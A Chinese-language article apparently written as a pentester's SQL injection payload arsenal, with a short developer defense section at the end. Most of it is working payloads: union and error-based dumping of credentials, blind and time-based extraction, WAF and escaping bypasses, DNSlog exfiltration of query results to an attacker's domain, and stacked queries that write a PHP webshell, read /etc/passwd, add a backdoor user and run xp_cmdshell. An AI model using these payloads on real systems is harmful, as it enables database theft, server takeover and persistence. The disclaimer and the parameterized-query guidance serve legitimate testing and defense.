1. 项目概述:一份真正能用的SQL注入攻击载荷清单
干了这么多年安全,不管是做渗透测试还是做代码审计,SQL注入这个“老熟人”总是绕不开。网上各种Payload清单满天飞,但要么是零散的代码片段,要么是过时的“万能密码”,真到实战里,面对五花八门的过滤规则和数据库类型,经常是“一顿操作猛如虎,一看结果原地杵”。
这份清单,是我从无数次靶场实战、真实渗透授权测试和应急响应中,一点点攒下来的。它不是一个简单的命令罗列,而是一套按攻击场景、数据库类型、绕过技巧分类的“武器库”。核心目标就一个:当你面对一个可能存在注入点的Web应用时,能快速找到最合适的Payload进行验证和利用,同时,作为开发者,你也能清晰地知道攻击者会从哪些角度“下手”,从而在代码层面进行精准防御。
这份清单的价值在于“场景化”和“可操作性”。它涵盖了从最基础的联合查询,到需要耐心“盲猜”的布尔/时间盲注,再到利用数据库特性进行报错、堆叠甚至文件读写的高级技巧。更重要的是,它包含了大量绕过常见WAF(Web应用防火墙)和过滤机制的“骚操作”,比如用%0a换行符代替空格、用/**/注释符分割关键字、利用宽字节编码“吃掉”转义符等。理解这些Payload背后的原理,远比死记硬背几个字符串重要得多。
重要提示:本文所有Payload及技术细节,仅用于授权的安全测试、渗透演练及个人在合法靶场(如DVWA、SQLi-Labs、PortSwigger Web Security Academy)中的学习研究。任何未经授权对真实网站进行测试的行为均属违法,需承担法律责任。安全技术的提升,是为了更好地构筑防线。
2. 核心思路:从“盲打”到“精准打击”的Payload分类体系
一份好的Payload清单,不能是杂乱无章的堆砌。我的分类逻辑基于攻击流程和交互反馈,旨在构建一个从信息探测到深度利用的完整路径。
2.1 基于回显方式的分类:决定你的攻击策略
这是最根本的分类维度,直接决定了你选用哪一类Payload。
有回显注入(Union-Based):这是最“幸福”的情况。应用页面会直接显示数据库查询的结果。我们的目标就是通过UNION操作符,将我们想要的数据“拼接”到原始查询结果中显示出来。攻击思路直接:判断注入点 -> 判断字段数 -> 判断回显位 -> 构造Union查询获取数据。
报错注入(Error-Based):页面不直接显示查询数据,但当SQL语句执行错误时,会返回详细的错误信息。我们的目标就是故意构造一个会出错的SQL语句,并让错误信息中包含我们想要窃取的数据。例如,利用updatexml()、extractvalue()这类函数对参数格式的严格要求,通过拼接我们的查询结果来触发错误并回显。
盲注(Blind Injection):这是最考验耐心的场景。页面既不会显示数据,也不会返回具体的错误信息。你只能通过观察页面行为的“细微差异”来推断信息。这又分为两种:
- 布尔盲注(Boolean-Based):通过注入逻辑判断(如
and 1=1与and 1=2),观察页面内容(如“用户存在”与“用户不存在”)或HTTP状态码的真/假(True/False)变化,一位一位地“猜”出数据。 - 时间盲注(Time-Based):通过注入能引起时间延迟的函数(如
SLEEP(5)、BENCHMARK(1000000, MD5('A'))),根据页面响应时间是否显著延长,来判断注入的逻辑条件是否为真。
堆叠注入(Stacked Queries):在一些特定的数据库接口(如PHP的mysqli_multi_query())中,可以一次性执行多条用分号分隔的SQL语句。这赋予了攻击者极大的权限,可以执行任意数据库操作,如增删改查表、执行存储过程甚至系统命令。但并非所有数据库驱动都支持。
2.2 基于绕过技巧的分类:应对各种防御措施
现代应用很少会毫无防护。因此,Payload必须考虑如何绕过常见的过滤和拦截。
空格绕过:当空格被过滤时,可以使用/**/(注释符)、%0a(换行符)、%0d(回车符)、%09(制表符)甚至括号()来替代。
1'/**/union/**/select/**/1,2,3--+1'%0aunion%0aselect%0a1,2,3--+
关键字绕过:对union、select、where等关键字进行过滤。
- 大小写混合:
UnIoN SeLeCt - 双写关键字:
ununionion seselectlect(假设过滤逻辑是简单删除union和select字符串) - 内联注释(MySQL特有):
/*!union*/ /*!select*/ 1,2,3 - 编码:URL编码、十六进制编码、Unicode编码等。
引号绕过:当单引号被转义('变成\')或过滤时。
- 十六进制编码:将字符串转换为十六进制。
'admin'->0x61646d696e。select * from users where username=0x61646d696e - 宽字节注入(针对GBK等宽字符集):利用编码特性,使一个特殊字符(如
%df)与转义符\(%5c)组合成一个合法的宽字符(如運),从而“吃掉”转义符,让后面的单引号逃逸。%df'->%df%5c%27->運'。
注释符绕过:--、#被过滤。
- 使用
;%00(Null字节)或;结束语句(在支持堆叠注入时)。 - 利用
' or '1'='1这种构造来闭合语句,而不依赖注释符。
理解了这套分类体系,你就能像查字典一样,根据现场情况快速定位到需要的Payload部分。下面,我们就进入实战环节,逐一拆解。
3. 联合查询注入:直截了当的数据窃取
联合查询注入是效率最高的一种方式,前提是页面有显式回显。它的攻击流程非常标准化。
3.1 标准攻击流程与Payload解析
第一步:探测注入点与闭合方式首先,你需要确定参数是否可控且存在注入。通过添加'、"、)等符号,观察页面是否报错或行为异常。
id=1-> 正常id=1'-> 报错或页面异常 -> 可能存在字符型注入,闭合方式为单引号。id=1-> 正常id=1 and 1=1-> 正常id=1 and 1=2-> 页面内容消失或变化 -> 可能存在数字型注入。
第二步:判断字段数量(ORDER BY)使用ORDER BY子句,通过索引排序来探测查询结果集的列数。这是一个二分查找过程。
1' order by 1-- -(正常)1' order by 5-- -(正常)1' order by 10-- -(报错Unknown column '10' in 'order clause')1' order by 7-- -(正常)1' order by 8-- -(报错)- => 字段数为7。
这里
-- -是注释符,-后面有个空格,在URL中通常写作--+(+在URL中代表空格)。目的是注释掉原SQL语句中我们不需要的部分。
第三步:确定回显位(UNION SELECT)用UNION拼接一个我们可控的查询,并用NULL或数字占位,观察哪个位置的内容会显示在页面上。
-1' union select 1,2,3,4,5,6,7-- -这里id=-1(或一个不存在的值)是为了让原查询结果为空,从而确保页面显示的是我们union select的结果。然后观察页面上的数字1,2,3...哪个被显示了出来,这些位置就是“回显位”,可以用来输出我们想要的数据。
第四步:获取数据库信息将回显位替换为数据库函数。
-1' union select 1,database(),user(),version(),5,6,7-- -这条语句可能会在页面上显示:当前数据库名、当前数据库用户、数据库版本。
第五步:枚举表名、列名、数据利用数据库的元数据表(如MySQL的information_schema)。
爆表名:
-1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()-- -group_concat()函数将多行结果合并成一个字符串,方便查看。table_schema=database()条件限制只查询当前数据库的表。爆某表的列名(假设表名为
users):-1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database() and table_name='users'-- -爆数据:
-1' union select 1,group_concat(username, ':', password),3,4,5,6,7 from users-- -
3.2 联合查询的进阶技巧与绕过
无列名注入:在极少数情况下,information_schema库被禁止访问。这时可以利用JOIN自连接或使用别名来获取数据。
-1' union select * from (select 1)a join (select 2)b join (select 3)c-- -(先猜字段数)- 更通用的方法是利用子查询:
-1' union select 1,(select1from (select 1,2,3 union select * from users limit 1,1)a),3-- -。这里需要知道users表的列数,并通过反引号``引用别名来获取数据,操作较为复杂。
处理字段类型不匹配:如果联合查询时因字段类型不兼容报错,可以用NULL代替不确定类型的字段,NULL可以匹配任何类型。
-1' union select null,@@version,null,null-- -
绕过过滤示例: 假设union和select被过滤,且空格被过滤。
1'/**/UnIoN/**/SeLeCt/**/1,2,3--+- 或者使用内联注释:
1'/*!UnIoN*//*!SeLeCt*/ 1,2,3--+
4. 报错注入:从错误信息中“榨取”数据
当页面没有显式回显,但会打印SQL错误时,报错注入就是利器。其核心是故意触发一个数据库错误,并巧妙地将想要查询的数据嵌入到错误信息中。
4.1 主流报错函数原理与Payload
updatexml()与extractvalue():这两个是MySQL用于处理XML文档的函数,它们要求第二个参数是合法的XPath路径。如果我们传入一个非法路径(其中拼接了我们查询的数据),就会产生错误,并将非法路径内容(即我们的数据)返回。
1' and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)-- -concat(0x7e, (select user()), 0x7e):将波浪号~、查询结果、波浪号拼接。0x7e是~的十六进制。updatexml()执行时,发现~root@localhost~不是合法XPath,于是报错:XPATH syntax error: '~root@localhost~',数据成功泄露。
1' and extractvalue(1, concat(0x7e,(select database())))- -原理相同。注意:extractvalue()最多只能返回32位长度,超出的部分会被截断。对于长数据,需要用substring()或mid()函数分段获取。
floor()+rand()+group by:利用group by语句对临时表进行分组时,因rand()函数在分组过程中的重复计算导致主键冲突而报错。
1' and (select 1 from (select count(*), concat(database(), floor(rand(0)*2)) as x from information_schema.tables group by x) as a)-- -这个Payload相对固定,报错信息格式通常为:Duplicate entry '数据库名1' for key 'group_key'。其中的数据库名1就是我们想要的数据。这个方法的优点是不需要updatexml等函数,在某些过滤场景下可能有效。
几何函数报错:MySQL中一些几何函数(如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring())对参数格式有严格要求,传入错误格式会报错。
1' and multipoint((select * from (select * from (select version())a)b))-- -报错信息会包含版本信息。这类方法常作为updatexml被禁时的备选方案。
4.2 报错注入的实战要点与局限
数据截断问题:如前所述,extractvalue()和updatexml()的报错信息长度有限(通常约32字符)。对于长数据(如表名列表、数据记录),必须分段获取。
1' and updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 1, 30), 0x7e), 1)-- -使用substr(string, start, length)函数,从第1位开始取30位。然后通过修改start参数(如31, 61...)来获取后续数据。
布尔盲注的“近亲”:有时,即使有报错注入函数,WAF或代码也可能捕获了错误信息,不让其显示在前端。此时,报错注入会退化为一种“基于错误是否发生”的布尔盲注。你可以通过观察页面是否返回500内部服务器错误或一个通用的错误页面,来判断注入的布尔条件是否成立。这需要更精细的观察。
跨数据库兼容性:报错函数具有很强的数据库特性。
- SQL Server:常用
convert()或cast()类型转换错误。1' and convert(int, (select db_name()))--。 - PostgreSQL:常用
cast()。1' and cast((select version()) as integer)--。 - Oracle:常用
ctxsys.drithsx.sn()等不常见的函数组合触发错误。
实操心得:在实际测试中,
updatexml()是我最常用的报错函数,因为它触发稳定,报错信息清晰。但在编写Payload时,务必注意闭合原SQL语句,并处理好数据截断。可以先select length(data)判断长度,再规划分段。
5. 盲注:在黑暗中摸索的持久战
盲注是SQL注入中最考验技巧和耐心的部分。它没有直接输出,你需要像侦探一样,通过观察应用的“蛛丝马迹”来推理。
5.1 布尔盲注:真与假的博弈
布尔盲注依赖于注入一个逻辑条件,根据页面返回内容的差异(True/False)来推断信息。差异可能体现在:页面某段文字的存在/消失、页面整体长度的微小变化、某个HTML元素的出现与否。
基础Payload模式:1' and (条件表达式)-- -如果条件为真,页面表现与id=1相同;如果为假,则表现与id=1 and 1=2相同(即原查询结果为空或异常)。
信息提取流程(以获取当前数据库名首字母为例):
- 判断长度:
1' and length(database())=8-- -(如果页面正常,则库名长度为8) - 逐字符判断:使用
substr()和ascii()函数。1' and ascii(substr(database(),1,1))>100-- -(判断第一个字符的ASCII码是否大于100)1' and ascii(substr(database(),1,1))=116-- -(判断第一个字符的ASCII码是否等于116,即字母‘t’)
这是一个二分查找过程。你可以写一个简单的脚本来自动化这个猜解过程。例如,判断ASCII码范围:大于128?否。大于64?是。大于96?是... 最终定位到具体字符。
进阶技巧:
- 使用
like和regexp:当substr和ascii被过滤时,可以用正则或模糊匹配。1' and (select database()) like 't%'-- -(判断库名是否以‘t’开头)1' and (select database()) regexp '^test'-- -(判断库名是否匹配正则^test)
- 判断数据存在性:
1' and (select count(username) from users where username='admin')=1-- -(判断是否存在用户‘admin’)
5.2 时间盲注:用时间作为信标
当页面无论真假都返回相同内容,连一个像素的差异都找不到时,时间盲注是最后的武器。它通过注入一个条件判断,如果为真则触发一个时间延迟(如sleep(5)),通过比较响应时间来判断条件真假。
基础Payload模式:1' and if((条件表达式), sleep(5), 0)-- -如果条件为真,页面响应会延迟至少5秒;如果为假,则立即返回。
跨数据库的时间延迟函数:
- MySQL:
sleep(5),benchmark(10000000, md5('test'))(通过大量计算制造延迟)。 - PostgreSQL:
pg_sleep(5)。 - SQL Server:
waitfor delay '0:0:5'。 - Oracle:
dbms_pipe.receive_message(('a'),5)。
时间盲注的挑战与优化:
- 网络抖动:延迟判断的阈值需要根据实际网络情况调整。不能只判断“大于5秒”,而应判断“响应时间显著长于基线时间(如
id=1的响应时间)”。 - 性能影响:频繁的
sleep会拖慢测试速度,且容易被监控发现。可以结合benchmark或使用更短的睡眠时间(如0.5秒),但需要更精确的计时。 - Payload构造:时间盲注的Payload通常更长更复杂,更容易触发WAF规则。需要灵活运用注释符和分隔符来绕过。
1';select if(ascii(substr(database(),1,1))>100,sleep(3),0) from dual where '1'='1(一种绕过if函数被过滤的写法)
5.3 DNSlog外带注入:无回显场景的“曲线救国”
这是一种非常巧妙的技巧,适用于完全无回显(包括无时间延迟)但能执行DNS查询的场景。它利用数据库函数发起一个DNS查询,将要窃取的数据作为子域名的一部分,这样我们只需要监控DNS解析日志,就能看到数据。
原理:构造一个Payload,让数据库尝试连接一个由我们控制的域名,并将查询结果拼接到子域名中。
1' and load_file(concat('\\\\', (select database()), '.你的域名.dnslog.cn\\abc'))-- -- 在Windows系统下,
\\\主机名\路径是UNC路径格式,访问时会尝试解析主机名。 (select database())的结果如果是testdb,那么数据库就会尝试解析testdb.你的域名.dnslog.cn这个主机名。- 我们在
dnslog.cn这类平台(或自建DNS服务器)上,就能看到有一条对testdb.你的域名.dnslog.cn的解析请求,从而得到数据testdb。
- 在Windows系统下,
注意事项:
- 数据库权限:需要数据库用户拥有
FILE权限(对于MySQL的load_file)或相应的高权限。 - 操作系统:UNC路径主要适用于Windows。Linux下可能需要其他方式触发DNS请求(如
sys_exec)。 - 数据编码:域名有格式限制(不能有特殊字符)。通常需要将查询结果进行十六进制编码(
hex())。1' and load_file(concat('\\\\', hex((select database())), '.dnslog.cn\\abc'))-- -
- 其他数据库:
- SQL Server:
exec master..xp_dirtree '\\\\(select db_name()).dnslog.cn\test' - Oracle:
UTL_HTTP.REQUEST或UTL_INADDR.GET_HOST_ADDRESS(需要特定权限)。
- SQL Server:
避坑指南:DNSlog注入是高级技巧,成功率受环境限制大。在实战中,它常作为验证“注入点是否可外联”以及“在极度严格过滤下获取短数据(如数据库名)”的手段。对于大量数据泄露,效率远低于有回显或报错注入。
6. 堆叠注入与特殊场景攻防
堆叠注入是“威力巨大但触发条件苛刻”的技术。而二次注入、宽字节注入等则体现了安全问题的复杂性和隐蔽性。
6.1 堆叠注入:执行任意SQL语句的“神技”
堆叠注入允许攻击者一次性执行多条SQL语句,这几乎等同于拥有了数据库的完整操作权限。
支持堆叠的常见场景:PHP的mysqli_multi_query()函数、某些.NET的数据库驱动等。mysql_query()或PDO::query()(默认)通常不支持。
高危Payload示例:
- 数据窃取(当
select被禁时):1'; HANDLER users OPEN; HANDLER users READ FIRST; HANDLER users CLOSE;-- -HANDLER是MySQL的一个底层表访问接口,可以绕过一些SELECT过滤。
- 文件操作(需
secure_file_priv为空):- 写Webshell:
1'; select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php'-- - - 读取系统文件:
1'; select load_file('/etc/passwd')-- -
- 写Webshell:
- 数据库结构操作:
- 创建后门用户:
1'; insert into users(username, password) values('backdoor', md5('hack'))-- - - 修改表结构:
1'; alter table users add column shell text; update users set shell='<?php eval($_GET[c]);?>' where id=1;-- -
- 创建后门用户:
- SQL Server命令执行(需开启
xp_cmdshell):1'; exec xp_cmdshell 'whoami'-- -
严重警告:堆叠注入的破坏性极强。在授权测试中,除非必要且与客户明确沟通,否则应避免使用写入文件、执行系统命令等高风险Payload,以免对目标系统造成不可逆的影响。
6.2 二次注入:潜伏的杀手
二次注入的逻辑是:数据在存入数据库时被安全地转义了,但在从数据库取出并用于新的SQL查询时,却没有被转义。
- 注册阶段:用户注册一个名为
admin'#的用户名。应用转义单引号,存入数据库的是admin\'#。 - 登录/修改阶段:当应用从数据库取出这个用户名(
admin\'#),并用于另一个SQL语句(如UPDATE users SET password='newpass' WHERE username='$username')时,如果取出的数据没有再次转义,语句就变成了:UPDATE users SET password='newpass' WHERE username='admin\'#'由于\'被数据库解析为字面量的单引号字符,而不是转义符,所以#注释掉了后面的所有内容。最终效果是修改了admin用户的密码,而不是admin'#用户。
Payload关键:寻找应用中将数据库数据“二次使用”的地方,如用户登录后的密码修改、密码找回、个人信息更新等功能点。
6.3 宽字节注入与编码绕过
宽字节注入:主要针对使用GBK、BIG5等宽字符集,且使用addslashes或mysql_real_escape_string进行转义的环境。转义函数会在单引号'前加反斜杠\(%5c)。如果我们在单引号前提交一个高位字节(如%df),数据库会认为%df%5c是一个合法的宽字符(如“運”),从而“吃掉”了反斜杠,让后面的单引号成功逃逸。
%df'-> 转义后为%df%5c%27-> 数据库GBK解码为運'-> 单引号生效。
编码绕过:
- 十六进制编码:
1' and column_name=0x61646d696e-- -(0x61646d696e是admin的十六进制)。 - Base64编码(需数据库支持解码函数,如MySQL的
FROM_BASE64):1' union select 1,from_base64('YWRtaW4='),3-- -。 - CHAR()函数:
1' and substr(database(),1,1)=char(116)-- -(判断首字符是否为‘t’,ASCII 116)。
7. 自动化与防御视角:从攻击清单到防护策略
拥有这份清单,攻击者可以自动化攻击,防御者则能据此构建更坚固的防线。
7.1 基于Payload清单的自动化工具思路
手工注入效率低下,尤其是盲注。自动化脚本(如SQLMap)的核心逻辑就是基于这份清单:
- 探测与指纹识别:发送各种探测Payload,根据响应判断数据库类型、注入点类型(整型/字符型)、闭合方式。
- Payload库匹配:根据识别出的数据库和注入类型,从内置的Payload库(类似于本文清单)中选取合适的测试向量。
- 布尔/时间盲注自动化:实现二分查找算法,自动逐位猜解数据。
- 结果提取与优化:自动提取数据,并尝试使用不同的编码和绕过技巧来优化Payload,绕过WAF。
理解这些Payload,能帮助你更好地使用和定制自动化工具,而不是仅仅依赖默认配置。
7.2 开发者防御指南:针对每类Payload的防护
作为开发者,你的目标不是记住所有Payload,而是从原理上杜绝注入的可能性。
根本解决方案:使用参数化查询(预编译语句)
- 为什么有效:它将SQL代码与数据完全分离。数据库引擎先编译SQL语句的结构(如
SELECT * FROM users WHERE id = ?),再将用户输入的数据(如1)作为纯参数传入。无论参数中包含什么'、"、or 1=1,都只会被当作数据,而不会被解释为SQL代码。这是唯一能从根本上防御所有类型SQL注入的方法。 - 如何做:
- PHP (PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?"); $stmt->execute([$email]); - Java (JDBC):
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE email = ?"); stmt.setString(1, email); - Python (sqlite3/MySQLdb):使用
?或%s作为占位符,并将参数以元组形式传入。
- PHP (PDO):
- 为什么有效:它将SQL代码与数据完全分离。数据库引擎先编译SQL语句的结构(如
严格的输入验证与过滤
- 白名单原则:对于已知有限集合的输入(如状态、类型),只允许列表内的值。
- 类型强制转换:对于数字型参数,在代码层强制转换为整数/浮点数。
$id = (int)$_GET['id']; - 转义是最后手段:如果因历史遗留问题必须拼接SQL,必须使用数据库特定的转义函数(如
mysqli_real_escape_string),并注意字符集设置(避免宽字节注入)。记住,转义不能防御数字型注入,且容易因疏忽而失效。
最小权限原则
- 数据库连接账户不应使用
root或sa等高权限账户。根据应用需要,创建仅具有SELECT、INSERT、UPDATE等必要权限的账户。这可以极大限制堆叠注入、文件读写等攻击的破坏范围。
- 数据库连接账户不应使用
Web应用防火墙(WAF)与运行时保护
- WAF可以基于规则(如本文中的常见Payload特征)拦截恶意请求。但它是一种缓解措施,而非根本解决方案,可能被精心构造的Payload绕过。
- 考虑使用RASP(运行时应用自保护)技术,在应用内部监控和阻断恶意SQL行为。
代码审计与安全测试
- 定期进行代码审计,查找所有SQL拼接点。
- 在测试环境使用SQLMap等工具进行定期的渗透测试,主动发现漏洞。
这份“终极Payload清单”的双刃剑属性正在于此。它既是指向漏洞的利矛,也是锻造盾牌的蓝图。真正的安全,源于对攻击技术的深刻理解,并将其转化为严谨的编码习惯和防御体系。